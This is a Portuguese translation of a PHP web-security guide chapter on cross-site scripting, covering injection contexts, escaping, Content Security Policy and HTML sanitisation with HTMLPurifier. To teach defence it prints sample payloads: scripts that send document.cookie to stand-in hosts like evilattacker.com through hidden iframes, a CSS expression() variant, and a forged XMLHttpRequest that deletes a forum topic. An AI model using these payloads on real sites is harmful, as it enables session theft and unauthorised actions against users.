Cross-Site Scripting (XSS)

O Cross-Site Scripting (XSS) é provavelmente a vulnerabilidade de segurança singular mais comum existente em aplicativos da Web como um todo. Estima-se que aproximadamente 65% dos sites são vulneráveis ​​a um ataque XSS de alguma forma, uma estatística que deve assustá-lo tanto quanto a mim.

O que é o script entre sites?

O XSS ocorre quando um invasor é capaz de injetar um script, geralmente Javascript, na saída de um aplicativo da Web de forma que ele seja executado no navegador do cliente. Isso geralmente acontece localizando um meio de romper um contexto de dados em HTML em um contexto de script – geralmente injetando novas strings HTML, JavaScript ou CSS. O HTML não tem escassez de locais onde o JavaScript executável pode ser injetado e até mesmo os navegadores conseguiram adicionar mais. A injeção é enviada para o aplicativo da web por meio de qualquer meio de entrada, como parâmetros HTTP. Um dos principais sintomas subjacentes da prevalência do Cross-Site Scripting, exclusivo para uma classe tão séria de vulnerabilidades de segurança, é que os programadores continuamente subestimam seu potencial de danos e comumente implementam defesas baseadas em desinformação e práticas inadequadas. Isso é particularmente verdadeiro no PHP, onde informações precárias ofuscaram todas as outras tentativas de educar os programadores. Além disso, como os exemplos de XSS na natureza são da simples variedade, os programadores não estão além de justificar a falta de defesas quando lhes convém. Nesse ambiente, não é difícil ver por que existe uma taxa de vulnerabilidade de 65%. Se um invasor puder injetar JavaScript na saída de um aplicativo da Web e executá-lo, ele permitirá que o invasor execute qualquer Javascript concebível no navegador de um usuário. Isso lhes dá controle total da experiência do usuário. Do ponto de vista do navegador, o script originou-se do aplicativo da Web, portanto, é tratado automaticamente como um recurso confiável. De volta à minha Introdução, observei que confiar em qualquer dado não criado explicitamente pelo PHP na solicitação atual deve ser considerado não confiável. Esse sentimento se estende ao navegador, que é separado do seu aplicativo da web. O fato de o navegador confiar em tudo o que recebe do servidor é, em si, um dos problemas de raiz em Scripts entre sites. Felizmente, é um problema com uma solução em evolução, que discutiremos mais adiante. Podemos estender isso ainda mais ao ambiente de Javascript que um aplicativo da Web introduz no navegador. O Javascript do lado do cliente pode variar do muito simples ao extremamente complexo, tornando-se muitas vezes aplicações do lado do cliente por direito próprio. Esses aplicativos do lado do cliente devem ser protegidos como qualquer aplicativo, desconfiando de dados recebidos de fontes remotas (incluindo o próprio aplicativo da Web hospedado pelo servidor), aplicando validação de entrada e garantindo que a saída para o DOM seja corretamente eliminada ou sanitizada. O JavaScript injetado pode ser usado para realizar bastante: roubar informações de cookies e sessões, executar solicitações HTTP com a sessão do usuário, redirecionar usuários a sites hostis, acessar e manipular armazenamento persistente do lado do cliente, executar cálculos complexos e retornar resultados ao servidor de um invasor , atacando o navegador ou instalando malware, aproveitando o controle da interface do usuário por meio do DOM para executar um ataque de proteção da interface do usuário, reescrevendo ou manipulando aplicativos no navegador, atacando extensões do navegador e a lista continua … possivelmente para sempre .

Correção da interface do usuário (também clickjacking)

Embora seja um ataque distinto por si só, a Solução de Restrição da Interface do Usuário é rigidamente vinculada ao Scripting entre Sites, já que ambos utilizam conjuntos de vetores semelhantes. Às vezes pode ser muito difícil diferenciar os dois porque cada um pode ajudar a ter sucesso com o outro. Um ataque de correção da interface do usuário é qualquer tentativa de um invasor de alterar a interface do usuário de um aplicativo da web. Alterar a interface do usuário com a qual um usuário interage pode permitir que um invasor injete novos links, novas seções HTML, redimensione / oculte / sobreponha elementos da interface e assim por diante. Quando esses ataques são destinados a enganar o usuário e clicar em um botão ou link injetado, ele é geralmente chamado de Clickjacking. Embora grande parte deste capítulo se aplique a ataques de correção da interface do usuário executados por meio do XSS, há outros métodos para executar um ataque de correção da interface do usuário que usa quadros. Abordarei a correção da interface do usuário em mais detalhes no Capítulo 4.

Um exemplo de script entre sites

Vamos imaginar que um invasor tenha se deparado com um fórum personalizado que permite aos usuários exibir uma pequena assinatura abaixo de seus comentários. Investigando isso ainda mais, o invasor configura uma conta, spams todos os tópicos ao alcance e usa a seguinte marcação em sua assinatura, anexada a todas as suas postagens:
<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>
Por algum milagre, o software do fórum inclui essa assinatura como está em todos esses tópicos de spam para todos os usuários do fórum carregarem em seus navegadores. Os resultados devem ser óbvios no código Javascript. O invasor está injetando um iframe na página, que aparecerá como um pequenino ponto (tamanho zero) na parte inferior da página, sem atrair nenhum aviso de ninguém. O navegador enviará a solicitação para o conteúdo do iframe que passa o valor do cookie de cada usuário como um parâmetro GET para o URI do invasor, onde eles podem ser agrupados e usados ​​em outros ataques. Embora os usuários comuns não sejam muito alvo de um invasor, um tópico de trolling bem projetado atrairá, sem dúvida, um moderador ou administrador cujo cookie pode ser muito valioso para obter acesso às funções de moderação do fórum. Este é um exemplo simples, mas fique à vontade para estendê-lo. Talvez o invasor queira saber o nome de usuário associado a esse cookie? Fácil! Adicione mais Javascript para consultar o DOM e retire-o da página da Web atual para incluir em um parâmetro GET “username =” ao URL do invasor. Talvez eles também precisem de informações sobre o seu navegador para lidar com uma defesa de impressão digital da sessão também? Basta incluir o valor de “navigator.userAgent”. Esse simples ataque tem muitas repercussões, incluindo o possível controle sobre o fórum como administrador. É por essa razão que subestimar o potencial do ataque XSS é mal aconselhado. Claro, sendo um exemplo simples, existe uma falha na abordagem do atacante. Semelhante aos exemplos usando a função alert () do JavaScript, apresentei algo que tem uma defesa óbvia. Todos os cookies que contêm dados sensíveis devem ser marcados com o sinalizador HttpOnly, o que impede que o Javascript acesse os dados do cookie. O princípio que você deve lembrar, no entanto, é que, se o invasor puder injetar Javascript, ele provavelmente poderá injetar todo o Javascript concebível. Se eles não puderem acessar o cookie e montar um ataque usando diretamente, eles farão o que todos os bons programadores fariam: escrever um ataque automatizado eficiente.
 <script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
 </script>
O acima é um possível uso de JavaScript para executar uma solicitação POST para excluir um tópico. Poderíamos encapsular isso em uma verificação para executar apenas um moderador, ou seja, se o nome do usuário for exibido em algum lugar, podemos compará-lo a uma lista de moderadores conhecidos ou detectar um estilo especial aplicado ao nome exibido do moderador na ausência de uma lista conhecida . Como o acima sugere, os cookies HttpOnly são de uso limitado na defesa contra o XSS. Eles bloqueiam o registro de cookies por um invasor, mas na verdade não impedem seu uso durante um ataque XSS. Além disso, um atacante prefere não deixar migalhas de pão na marcação visível para despertar suspeitas, a menos que elas realmente queiram ser detectadas. Da próxima vez que você vir um exemplo usando a função Javascript alert (), substitua-o por um objeto XMLHttpRequest para evitar ficar desapercebido.

Tipos de ataques de script entre sites

Os ataques XSS podem ser categorizados de duas maneiras. A primeira está em como a entrada maliciosa navega no aplicativo da web. A entrada para um aplicativo pode ser incluída na saída da solicitação atual, armazenada para inclusão na saída de uma solicitação posterior ou passada para uma operação DOM baseada em Javascript. Isso dá origem às seguintes categorias:

Ataque XSS Refletido

Em um ataque XSS refletido, uma entrada não confiável enviada para um aplicativo da Web é imediatamente incluída na saída do aplicativo, ou seja, é refletida do servidor de volta para o navegador na mesma solicitação. O reflexo pode ocorrer com mensagens de erro, envios de mecanismos de pesquisa, visualizações de comentários, etc. Essa forma de ataque pode ser montada persuadindo um usuário a clicar em um link ou enviar um formulário de escolha do invasor. Fazer com que um usuário clique em links não confiáveis ​​pode exigir um pouco de persuasão e envolver o envio de email ao alvo, a montagem de um ataque de correção da interface do usuário ou o uso de um serviço de encurtamento de URL para disfarçar o URL. Os serviços sociais são particularmente vulneráveis ​​a URLs encurtados, pois são comuns nesse cenário. Tenha cuidado com o que você clica!

Ataque XSS Armazenado

Um ataque de XSS armazenado é quando a carga útil do ataque é armazenada em algum lugar e recuperada conforme os usuários visualizam os dados de destino. Enquanto um banco de dados é esperado, outros mecanismos de armazenamento persistentes podem incluir caches e logs que também armazenam informações por longos períodos de tempo. Nós já aprendemos sobre ataques de injeção de log.

Ataque XSS baseado em DOM

O XSS baseado em DOM pode ser refletido ou armazenado e a diferenciação está em como o ataque é direcionado. A maioria dos ataques ocorrerá na marcação imediata de um documento HTML. No entanto, o HTML também pode ser manipulado por Javascript usando o DOM. Uma carga injetada, renderizada com segurança em HTML, ainda pode interferir nas operações do DOM em Javascript. Também pode haver vulnerabilidades de segurança em bibliotecas Javascript ou seu uso, que também podem ser direcionadas.

Scripting entre sites e contexto de injeção

Um ataque de XSS é bem sucedido quando pode injetar o contexto. O termo “Contexto” refere-se a como os navegadores interpretam o conteúdo de um documento HTML. Os navegadores reconhecem vários Contextos principais, incluindo: Corpo HTML, Atributo HTML, Javascript, URI e CSS. O objetivo de um invasor é pegar dados destinados a um desses contextos e fazer com que o navegador os interprete como outro contexto. Por exemplo, considere o seguinte:
<div style="background:<?php echo $colour ?>;">
Acima, $ color é preenchido a partir de um banco de dados de preferências do usuário que influenciam a cor de fundo usada para um bloco de texto. O valor é injetado em um Contexto CSS que é filho de um Contexto de Atributos HTML, ou seja, estamos colocando algum CSS em um atributo de estilo. Pode parecer sem importância ficar tão ligado ao Context, mas considere isto:
$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">
Se um invasor conseguir injetar com sucesso essa “cor”, ele poderá injetar uma expressão CSS que executará o Javascript contido no Internet Explorer. Em outras palavras, o invasor conseguiu sair do contexto CSS atual injetando um novo contexto de Javascript. Agora, fui muito descuidado com o exemplo acima, porque sei que alguns leitores ficarão desesperados para chegar ao ponto de usar o escape. Então vamos fazer isso agora.
$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">
Se você verificasse isso com o Internet Explorer, perceberia rapidamente que algo está seriamente errado. Depois de usar htmlspecialchars () para escapar de $ color, o ataque XSS ainda está funcionando! Essa é a importância de entender o contexto corretamente. Cada contexto requer um método diferente de escape, pois cada contexto tem diferentes caracteres especiais e diferentes necessidades de escape. Você não pode simplesmente jogar htmlspecialchars () e htmlentities () em tudo e rezar para que seu aplicativo da web esteja seguro. O que deu errado no que foi dito acima é que o navegador sempre irá exibir os Atributos HTML antes de interpretar o contexto. Nós ignoramos o fato de que havia dois contextos para escapar. Os dados do Atributo HTML sem escape são exatamente o mesmo CSS que o exemplo sem escape teria renderizado de qualquer maneira. O que deveríamos ter feito era o CSS ter escapado da variável $ color e só então o HTML escapou. Isso teria garantido que o valor $ color fosse convertido em uma string literal de CSS com escape adequado, escapando os colchetes, aspas, os espaços e outros caracteres que permitissem que a expressão () fosse injetada. Ao não reconhecer que nosso atributo englobou dois contextos, escapamos como se fosse apenas um: um atributo HTML. Um erro comum de se fazer. A lição aqui é que o contexto é importante. Em um ataque XSS, o atacante sempre tentará saltar do contexto atual para outro onde o Javascript pode ser executado. Se você conseguir identificar todos os contextos em sua saída HTML, tendo em mente sua natureza aninhada, estará dez passos mais perto de defender com êxito seu aplicativo da Web a partir de scripts entre sites. Vamos dar outro exemplo rápido:
<a href="http://www.example.com">Example.com</a>
Omitindo entrada não confiável para o momento, o acima pode ser dissecado da seguinte forma:
  1. Existe um contexto de URL, ou seja, o valor do atributo href.
  2. Existe um Contexto de Atributos HTML, isto é, o contexto do URL.
  3. Existe um contexto de corpo HTML. ou seja, o texto entre as tags <a>.
São três contextos diferentes que implicam que até três diferentes estratégias de escape seriam necessárias se os dados fossem determinados por dados não confiáveis. Vamos olhar para escapar como uma defesa contra o XSS em mais detalhes na próxima seção.

Defesa contra ataques de scripts entre sites

A defesa contra o XSS é bastante possível, mas precisa ser aplicada de forma consistente, sendo intolerante a exceções e atalhos, preferencialmente no início do desenvolvimento do aplicativo da Web, quando o fluxo de trabalho do aplicativo é novo na mente de todos. A implementação tardia de defesas pode ser um assunto caro.

Validação de entrada

Validação de Entrada é a primeira linha de defesa de qualquer aplicativo da web. Dito isso, a validação de entrada é limitada a saber qual é o uso imediato de uma entrada não confiável e não pode prever onde essa entrada será finalmente usada quando incluída na saída. Praticamente todo o texto livre se enquadra nessa categoria, pois sempre precisamos permitir usos válidos de citações, colchetes angulares e outros caracteres. Portanto, a validação funciona melhor impedindo ataques XSS em dados que possuem limites de valor inerentes. Um inteiro, por exemplo, nunca deve conter caracteres especiais HTML. Uma opção, como o nome de um país, deve corresponder a uma lista de países permitidos que, da mesma forma, impedirão que as cargas úteis do XSS sejam injetadas. A validação de entrada também pode verificar dados com restrições de sintaxe claras. Por exemplo, um URL válido deve começar com http: // ou https: //, mas não com o javascript: ou data: schemes muito mais perigoso. De fato, todas as URLs derivadas de entrada não confiável devem ser validadas por esse mesmo motivo. Escapar de um javascript: ou dados: o URI tem o mesmo efeito que o escape de um URL válido, ou seja, nada que seja. Embora a validação de entrada não bloqueie todas as cargas XSS, ela pode ajudar a bloquear o mais óbvio. Nós cobrimos a validação de entrada em maiores detalhes no Capítulo 2.

Escapando (também codificando)

A fuga de dados na saída é um método para garantir que os dados não possam ser mal interpretados pelo interpretador ou interpretador atualmente em execução. Os exemplos óbvios são o sinal de menor que e maior que o que denota tags de elementos em HTML. Se permitíssemos que estes fossem inseridos por entrada não confiável como está, isso permitiria que um invasor introduzisse novas tags que o navegador processaria. Como resultado, normalmente escapamos deles usando o & gt; e $ lt; Entidades nomeadas em HTML. Como a substituição de tais caracteres especiais sugere, a intenção é preservar o significado dos dados que estão sendo escapados. Escapando simplesmente substitui caracteres com significado especial para o interpretador com uma alternativa que normalmente é baseada em uma representação hexadecimal do caractere ou uma representação mais legível, como HTML nomeado entidades, onde é seguro fazê-lo. Como meu primeiro desvio para explicar o Context mencionado, o método de escape varia dependendo de quais dados do conteúdo estão sendo injetados. O escape HTML é diferente do escape de JavaScript, que também é diferente do escape de URL. Aplicar a estratégia de escape errada a um Contexto pode resultar em uma falha de escape, abrindo um buraco nas defesas de aplicativos da Web das quais um invasor pode tirar proveito. Para facilitar o escape específico do contexto, é recomendável usar uma classe projetada com esse objetivo em mente. O PHP não fornece todas as funcionalidades de escape necessárias e algumas das ofertas não são tão seguras quanto se acredita popularmente. Você pode encontrar uma classe Escaper que eu projetei para o Zend Framework, que oferece uma solução mais acessível, aqui. Vamos examinar as regras de escape aplicáveis ​​aos contextos mais comuns: Corpo HTML, Atributo HTML, Javascript, URL e CSS.

Nunca injetar dados, exceto em locais permitidos

Antes de apresentar estratégias de escape, é essencial garantir que os modelos do seu aplicativo da Web não substituam os dados. Esta regra refere-se à injeção de dados em áreas sensíveis de HTML que oferecem a um invasor a oportunidade de influenciar a análise de marcação e que normalmente não requerem escape quando usado por um programador. Considere os seguintes exemplos onde […] é uma injeção de dados:
<script>...</script>

<!--...-->

<div ...="test"/>

<... href="http://www.example.com"/>

<style>...</style>
Cada um dos locais acima é perigoso. Permitir dados dentro de tags de script, fora de cadeias literais e números, permitiria que um ataque injetasse código Javascript. Dados injetados em comentários HTML podem ser usados ​​para acionar condicionais do Internet Explorer e outros resultados imprevistos. Os próximos dois são mais óbvios, pois nunca queremos que um atacante seja capaz de influenciar nomes de tags ou atributos – é o que estamos tentando evitar! Por fim, como com scripts, não podemos permitir que invasores injetem diretamente no CSS, pois eles podem executar ataques de Correção de versão da interface do usuário e scripts JavaScript usando a função expression () com suporte do Internet Explorer.

Sempre HTML Escape Antes de Injetar Dados no Contexto do Corpo HTML

O contexto do corpo do HTML refere-se ao conteúdo textual contido em tags, por exemplo, texto incluído entre <body>, <div> ou qualquer outro par de tags usado para conter texto. Os dados injetados neste conteúdo devem ter escape de HTML. O HTML Escaping é bem conhecido no PHP desde que é implementado pela função htmlspecialchars ().

Sempre Escape de Atributos HTML Antes de Injetar Dados no Contexto de Atributos HTML

O contexto do atributo HTML refere-se a todos os valores atribuídos ao elemento attrbutes, com exceção dos atributos que são interpretados pelo navegador como CDATA. Essa exceção é um pouco complicada, mas em grande parte se refere a padrões HTML não XML nos quais o Javascript pode ser incluído nos atributos de eventos sem escape. Para todos os outros atributos, no entanto, você tem as duas opções a seguir:
  1. Se o valor do atributo for citado, você pode usar o HTML Escaping; mas
  2. Se o atributo estiver sem aspas, você DEVE usar Escape de Atributos HTML.
A segunda opção também se aplica onde o estilo de cotação de atributos pode estar em dúvida. Por exemplo, é perfeitamente válido em HTML5 usar valores de atributos não citados e existem exemplos na natureza. Estamos do lado da cautela, onde há alguma dúvida.

Sempre Javascript Escape Antes de Injetar Dados em Valores de Dados Javascript

Valores de dados JavaScript são basicamente strings. Como você não pode escapar de números, existe uma sub-regra que você pode aplicar: Sempre valide números …

Política de Segurança de Conteúdo

O elemento-raiz em todas as nossas discussões sobre Cross-Site Scripting é que o navegador executa inquestionavelmente todo o Javascript que recebe do servidor, seja ele interno ou externo. Ao receber um documento HTML, o navegador não tem meios de saber quais dos recursos que contém são inocentes e quais são maliciosos. E se pudéssemos mudar isso? A Política de Segurança de Conteúdo (CSP) é um cabeçalho HTTP que comunica uma lista de permissões de fontes de recursos confiáveis ​​nas quais o navegador pode confiar. Qualquer fonte não incluída na lista de permissões agora pode ser ignorada pelo navegador, já que não é confiável. Considere o seguinte:
X-Content-Security-Policy: script-src 'self'
Esse cabeçalho CSP informa ao navegador para confiar apenas nas URLs de origem Javascript que apontam para o domínio atual. O navegador agora vai pegar scripts desta fonte, mas ignora completamente todos os outros. Isso significa que http://attacker.com/naughty.js não é baixado se injetado por um invasor. Isso também significa que todos os scripts in-line, isto é, as tags <script>, javascript: URIs ou o conteúdo do atributo do evento, também são ignorados, pois não estão na lista de permissões. Se precisarmos usar o Javascript de outra fonte além de ‘self’, podemos estender a lista de permissões para incluí-la. Por exemplo, vamos incluir o endereço CDN do jQuery.
X-Content-Security-Policy: script-src 'self' http://code.jquery.com
Você pode adicionar outras diretivas de recurso, por exemplo, style-src para CSS, dividindo cada diretiva de recurso e sua lista de desbloqueio por um ponto e vírgula.
X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'
O formato do valor do cabeçalho é muito simples. O valor é construído com uma diretiva de recurso “script-src” seguida de uma lista delimitada por espaço de fontes para aplicar como uma lista de desbloqueio. A origem pode ser uma palavra-chave entre aspas, como “eu” ou um URL. O valor da URL é correspondido com base nas informações fornecidas. Informações omitidas em um URL podem ser alteradas livremente no documento HTML. Portanto, http://code.jquery.com evita o carregamento de scripts de http://jquery.com ou http://domainx.jquery.com, pois especificamos qual subdomínio aceitar. Se quiséssemos permitir todos os subdomínios, poderíamos ter especificado apenas http://jquery.com . O mesmo pensamento se aplica a caminhos, portas, esquema de URL, etc. A natureza do whitelisting do CSP é simples. Se você criar uma lista de permissões de um tipo específico de recurso, qualquer coisa que não esteja nessa lista de permissões será ignorada. Se você não definir uma lista de permissões para um tipo de recurso, o comportamento padrão do navegador será ativado para esse tipo de recurso. Aqui está uma lista das diretivas de recursos suportadas: connect-src: Limita as fontes às quais você pode se conectar usando XMLHttpRequest, WebSockets, etc. font-src: Limita as fontes para fontes da web. frame-src: limita as URLs de origem que podem ser incorporadas em uma página como quadros. img-src: limita as fontes de imagens. media-src: limita as fontes de vídeo e áudio. object-src: Limita as fontes para o Flash e outros plugins. script-src: Limita as fontes dos arquivos de script. style-src: limita as fontes para arquivos CSS. Para manter os padrões seguros, há também a diretiva especial “default-src” que pode ser usada para criar uma lista de permissões padrão para todos os itens acima. Por exemplo:
X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com
O acima limitará a fonte de todos os recursos para o domínio atual, mas adicionará uma exceção para script-src para permitir o CDN do jQuery. Isso instantaneamente encerra todos os caminhos para recursos injetados não confiáveis ​​e permite abrir cuidadosamente os portais para apenas as fontes que queremos que o navegador confie. Além de URLs, as origens permitidas podem usar as seguintes palavras-chave que devem ser encapsuladas com aspas simples: ‘none’ ‘self’ ‘unsafe-inline’ ‘unsafe-eval’ Você notará o uso do termo “inseguro”. A melhor maneira de aplicar o CSP é não duplicar as práticas de um invasor. Os invasores querem injetar Javascript e outros recursos in-line. Se evitarmos tais práticas inline, nossos aplicativos da web podem instruir os navegadores a ignorar todos esses recursos embutidos, sem exceção. Podemos fazer isso usando arquivos de script externos e a função addEventListener () do JavaScript em vez de atributos de eventos. Claro, o que é uma regra sem algumas exceções úteis, certo? Sério, elimine quaisquer exceções. Definir ‘inseguro-inline’ como uma fonte de lista branca só vai contra o ponto inteiro de usar um CSP. A palavra-chave ‘none’ significa exatamente isso. Se definido como uma fonte de recursos, ele apenas instrui o navegador a ignorar todos os recursos desse tipo. Sua milhagem pode variar, mas sugiro fazer algo assim para que sua lista de permissões do CSP seja sempre restrita ao que permite:
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
Apenas uma peculiaridade final para estar ciente. Como o CSP é uma solução emergente que ainda não está fora do rascunho, você precisará deduzir o cabeçalho X-Content-Security-Policy para garantir que ele também seja selecionado pelos navegadores WebKit, como Safari e Chrome. Eu sei, eu sei, é o WebKit para você.
X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

Detecção de navegador

Sanitização de HTML

Em algum momento, um aplicativo da web encontrará a necessidade de incluir uma marcação HTML determinada externamente diretamente em uma página da web sem escapar dela. Exemplos óbvios podem incluir postagens em fóruns, comentários em blogs, formulários de edição e entradas de um feed RSS ou Atom. Se fôssemos escapar da marcação HTML resultante dessas fontes, elas nunca seriam renderizadas corretamente, portanto, precisamos filtrá-las cuidadosamente para garantir que toda e qualquer marcação perigosa seja neutralizada. Você notará que usei a frase “determinado externamente”, em vez de gerada externamente. Em vez de aceitar a marcação HTML, muitos aplicativos da Web permitirão que os usuários usem uma alternativa como BBCode, Markdown ou Textile. Uma falácia comum no PHP é que essas linguagens de marcação têm uma função de segurança na prevenção do XSS. Isso é um absurdo completo. O objetivo dessas linguagens é permitir que os usuários gravem textos formatados mais facilmente sem lidar com HTML. Nem todos os usuários são programadores e o HTML não é exatamente consistente ou fácil, devido às suas raízes SGML. Escrever longas seleções de texto formatado em HTML é doloroso. O ato de gerar HTML a partir de tais entradas (a menos que tenhamos recebido HTML para começar!) Ocorre no servidor. Isso implica uma operação confiável, que é um erro comum de se fazer. O HTML resultante de tais geradores ainda era “determinado” por uma entrada não confiável. Não podemos assumir que é seguro. Isso é simplesmente mais óbvio com um feed de blog, pois suas entradas já são HTML válidas. Vamos pegar o seguinte trecho do BBCode:
[url=javascript:alert(‘I can haz Cookie?n’+document.cookie)]Free Bitcoins Here![/url]
O BBCode não limita o HTML permitido por design, mas não obriga, por exemplo, o uso de URLs HTTP e a maioria dos geradores não perceberá isso. Como outro exemplo, faça a seguinte seleção de Markdown:
I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://attacker.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script> Não há necessidade de pânico. Eu juro que sou apenas um texto simples!
O Markdown é uma alternativa popular para escrever HTML, mas também permite que os autores misturem HTML no Markdown. É um recurso Markdown perfeitamente válido e um renderizador do Markdown não se importa se há uma carga XSS incluída. Depois de chegar em casa neste ponto, o curso de ação necessário é o HTML limpar tudo o que incluiremos sem escape na saída do aplicativo da Web após todas as operações de geração e outras terem sido concluídas. Sem exceções. É uma entrada não confiável até que tenhamos limpado tudo. HTML Sanitização é um processo trabalhoso de analisar o HTML de entrada e aplicar uma lista branca de elementos, atributos e outros valores permitidos. Não é para os fracos de coração, extremamente fácil de errar, e o PHP sofre de uma longa linha de bibliotecas inseguras que afirmam fazê-lo corretamente. Use uma solução bem estabelecida e respeitável em vez de escrever um você mesmo. A única biblioteca em PHP conhecida por oferecer Sanitização segura em HTML é o HTMLPurifier. É ativamente mantido, fortemente revisado por especialistas e eu recomendo fortemente. Usar o HTMLPurifier é relativamente simples quando você tem alguma idéia da marcação HTML para permitir:
// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);
Não use outra biblioteca do HTML Sanitiser, a menos que você esteja absolutamente certo sobre o que está fazendo.
  Este artigo é uma tradução de: https://phpsecurity.readthedocs.io/en/latest/Cross-Site-Scripting-(XSS).html